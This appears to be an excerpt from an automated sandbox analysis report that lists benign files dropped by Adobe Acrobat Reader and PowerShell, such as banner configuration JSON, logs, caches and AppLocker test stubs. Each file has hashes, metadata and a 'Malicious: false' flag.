Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.263510389151629
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJf+dPeUkwRe9:YvXKXStKSYpW7nG28Ukee9
MD5:	2FE64F9ABBCB2827BC44E3D5B8954C50
SHA1:	45EF2E06C9278F4B86A1591D3BD232CEA631E7CC
SHA-256:	FE8BA67B3D2B67A5EBD1E9F8A109C6F75E618E383381B1390264424F519F369C
SHA-512:	C37600DAAAA8E6810CA68A534226A9B1F1448E23ECDD780373906EADC51B872E5CFB47A2E61273D863D0D1FDA12FE8DAD7563129AE4E99B310E027E77EDAA8DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.261549312922547
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJfbPtdPeUkwRe9:YvXKXStKSYpW7nGDV8Ukee9
MD5:	D719098117B781EA73FF944798F1B9AA
SHA1:	C82CF27CFA2C695BEB005A578321FA1F35ADEA18
SHA-256:	0BDE0A796AA080110F1D6E42E83337C1CEDE95D2A9BAFCA0522A6DA716CCE440
SHA-512:	B56BAD8B5A0E68ACCD688CF8361A3C723B022539A5C46AF526557FEE85E833B51B56964CF6057E58F790AC924200024CEBC35B92D53A8C2C7B9F3EDD91072CD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.262601562260299
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJf21rPeUkwRe9:YvXKXStKSYpW7nG+16Ukee9
MD5:	3BA50D4B8626FD28A813C8DF5E661F8C
SHA1:	E791CCEE162BE45CCD9A8134419A6987CADCABA1
SHA-256:	A9AABFFB1B7E5BC3DCA5469B5E0FB6AD2263F6C19D83BD81753F59004E6360B6
SHA-512:	DFDCC53B7EE2C516211288ADC5ABC08D2522FCC0A4C80547315C110403DA3A584CF7D56220258FA4AE9104911C63414988510CF5AF16C7729949ED860A4EBDF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661876901114074
Encrypted:	false
SSDEEP:	24:Yv6X93iYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSsq:YvLeBgkDMUJUAh8cvMsq
MD5:	422FA4AE98F2449D6CFEBC71D8EDC5D9
SHA1:	DB5AFB6B10D81564CF5916BB974512A88DD323F5
SHA-256:	7CCBBE0044DFCAD05B4D30775AFB35ECC707AC70D51B1DF11433DFD6AD3E2352
SHA-512:	546A54A824ACBDD7F481CEEDD29EB06E4C6D82AC00A270E57A4B368E19AD8B5BDE83B16E16068EA1C7E333792F711D3667BA83C73D388538F19B1E1DB752A818
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.237156274564007
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJfshHHrPeUkwRe9:YvXKXStKSYpW7nGUUUkee9
MD5:	F18099FCA72F99E5976C5F049D90D3B8
SHA1:	55569F0F9F67BBF72E38C0299A213D1A9D67DB25
SHA-256:	450F4D5A2CC8F62D04247F92BEBC9C0495AEBE879D3482C3EEC8D82D1E01ED9F
SHA-512:	7F67BA51B137C8447F30149F1CA4B42C11542C7BBF672E19DF0C69B5E539D4A72750861FA0872666333027A03E262DAD096064A8DCF1C3B945A6670A5B96117C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2460209802543405
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTeGFcVKb+FIbRI6XVW7+0YhvDoAvJTqgFCrPeUkwRe9:YvXKXStKSYpW7nGTq16Ukee9
MD5:	D1D9DAD863DAD7FBB120A0EB61682884
SHA1:	A670F87B71192EB16ECE87EA24EA7C8D82CB6E3E
SHA-256:	ECF9A3E7AC9E85DA6925FDB62A3DE3CCE16DA3E7771023EB0BFCB4FEB6F4557F
SHA-512:	C6B9472C95C96D9D84A439A8BE1C6E02374DCC6F970DFE7D93DC55926B1B748226111A4A051D36C84CD0A721E2731D6A30A24C4EA937D2D2ADFCFEE7FA935A1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9d311cd3-fe25-4bca-b540-93c436cf90c8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737025778207,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144765006348408
Encrypted:	false
SSDEEP:	48:YeUVRaOkZs7rkgqk32MVYG0baS2ohR9SgjA5:mVRahs8YmTajoJSSA5
MD5:	4219BC398A99DD9FC522B2DCD2ECC1B6
SHA1:	5811839D85768303937B88C5ADDC1EF2171296ED
SHA-256:	0FAD63854EA186D1BDE0164A200849E5BD6B4368B4F4A95CE1C956D27A2DC4EF
SHA-512:	9A15FBF405C1D73865F12C3884B51B44C91FEA4864ACA8CA1693E28C69DD9698E3B2F8E18CA3B8771D0099E35CF66EE23BE2342F26A22B91E391080AC8FECB9B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"47b9e81606ed8a20fd9fa12bb53424bf","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736848508000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"81c287d0792fe662320a3473d1db52c8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736848507000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a6ff7450505a9866d1992cf6ec86fec2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736848507000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"fb8b3f902488dff9ca065608382ce388","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736848507000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a437c149a1841659801f331db845e1e9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736848507000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"7b5e0a9528721b613d114325c294ab30","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9980583638464748
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7ursB1RZKHs/DJcmpbuVpus7n7YIF:TGufl2GL7msvgOJcUbuyR0
MD5:	3C0A18DC1C9F70E871F5AF11D722BCF0
SHA1:	0EF8C39C2AFC8B66DDE84CAAA5939D18AED3D5AD
SHA-256:	94A03249ED20D84A0B6F6A408BAF0E2CD54944FE252234C675A5891B159A55A1
SHA-512:	624F14C8ADDE10C3C7284D46BFA63AC8207630D286431BD55354AC1F1B41D1645B155BFFFB758C774CF148123C390B09C5A852C5C357F9C1E3C7B13084DBC754
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3599628653020914
Encrypted:	false
SSDEEP:	24:7+tm1RZKHs/Ds/SpqpbuVpus7n7YIUqLhx/XYKQvGJF7ursf:7M2gOVpobuyRPqFl2GL7msf
MD5:	D9DF2C041CA8BD8E02C1F7792B99982A
SHA1:	783E8564BF88C8568066E33A860E3F7AE61EED6B
SHA-256:	DAA9FF7BC620BC5A1F407A1C5B80D33A4F1A51426406DBC3FB863144C47F0F33
SHA-512:	74C26CE212F6D5D06E25C80ED57FB6EFF5403B8E185DA0DE62BD93B5BE2512B3C338F08AEF3A6AE39BC2AF6B67E8FE994B94D7EBC95566BCF2F699CDAFFF584E
Malicious:	false
Preview:	.... .c........A......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#...z.>.....}.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg63VvR6oX/Mo6/C3ckaf7JNNYyu:6a6TZ44ADE63H6oXN6p3NK
MD5:	E8B040DA204088B85C54566D82E974A5
SHA1:	6AA8AF43E4FFB8EF1BE6467F8692618A1E1C7A71
SHA-256:	EC55E59D31DA66C9E094CF2F44E6096A0124B2588A55A1F3E6FBD2CAC6FEBF5D
SHA-512:	9978501276269873B51BBD87EBD1D11A204828C9975BAB64CBD1D0579F3FAC4FDB55A16B5743DD1E862BD4CCDBBA2D3BC576AD7ED5BB0314434E8927545DE013
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI8b7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.505069684106714
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sCl4YlYH:Qw946cPbiOxDlbYnuRKIdYlYH
MD5:	8B1644FA0DF75DE306B02D21BB408218
SHA1:	2F57FB092D6B0C5F8C8A1051323440BE9B2E0431
SHA-256:	16B36BD2260488D1C9CD852A73368F8863FB565DFC81F083586BB6B537300EC1
SHA-512:	F84211A2D022BC6FB9782FCF42DC22777FAD59E6C0123602A90EF3ED50110EF5D883B623C295F1BF30F96C310C0FC6CC6F1046907AAD849B9E39E70908F52317
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .0.4.:.5.5.:.1.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1kkolijr.t2c.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bg5vx5lx.amb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91ljli1d_ui6czu_9k.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 04-55-04-896.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.365144523472054
Encrypted:	false
SSDEEP:	384:WLnW/ryO22dNpWAzZ3e5r5SHno7msRJUg/yIW+oxgUMQ+t1M031+hKhM9Ccbl+/g:xdt
MD5:	8C261D88DA68BD2EB7EFE7893FFBAF96
SHA1:	47549E668757F1D93F3F3D3EE79B1E8C139F12B8
SHA-256:	0A53F38C2EF397B0436C4BF8864E6F945DDE6B43AECE7E2514638819BBB97887
SHA-512:	670C3DF04FB05818F52BC3C7F46217905F3ADD73B02D4F159AD3605B5066195392431C87C1413358DA0BFDF49DC18531C03ECFDE0D5BC512F302CF0BCDF8B184
Malicious:	false
Preview:	SessionID=95b2b64b-877b-4757-9cfa-ec6a01ff9fa5.1736848504920 Timestamp=2025-01-14T04:55:04:920-0500 ThreadID=7484 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=95b2b64b-877b-4757-9cfa-ec6a01ff9fa5.1736848504920 Timestamp=2025-01-14T04:55:04:921-0500 ThreadID=7484 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=95b2b64b-877b-4757-9cfa-ec6a01ff9fa5.1736848504920 Timestamp=2025-01-14T04:55:04:921-0500 ThreadID=7484 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=95b2b64b-877b-4757-9cfa-ec6a01ff9fa5.1736848504920 Timestamp=2025-01-14T04:55:04:921-0500 ThreadID=7484 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=95b2b64b-877b-4757-9cfa-ec6a01ff9fa5.1736848504920 Timestamp=2025-01-14T04:55:04:921-0500 ThreadID=7484 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393531814262457
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbs:I
MD5:	22B70295774D1E621ADE832A86CB2FB1
SHA1:	4A269722BA200F179862258F9A2B23EEF6AC5690
SHA-256:	078ECEC84753F1087A064FEC3C0111AB025C539FFE49210FE06B8BA7FB4F419C
SHA-512:	D6AF3B2EA5EC286C201A1C3FD0407F6B0E1B417A7597EC1731564ED51F89E207B3E3FB5D58104F6DA5CA16CFBE80F93B4B655666501431CC28046B99BA5355F6
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\00178188-8206-4716-a082-390c1a88fa5f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
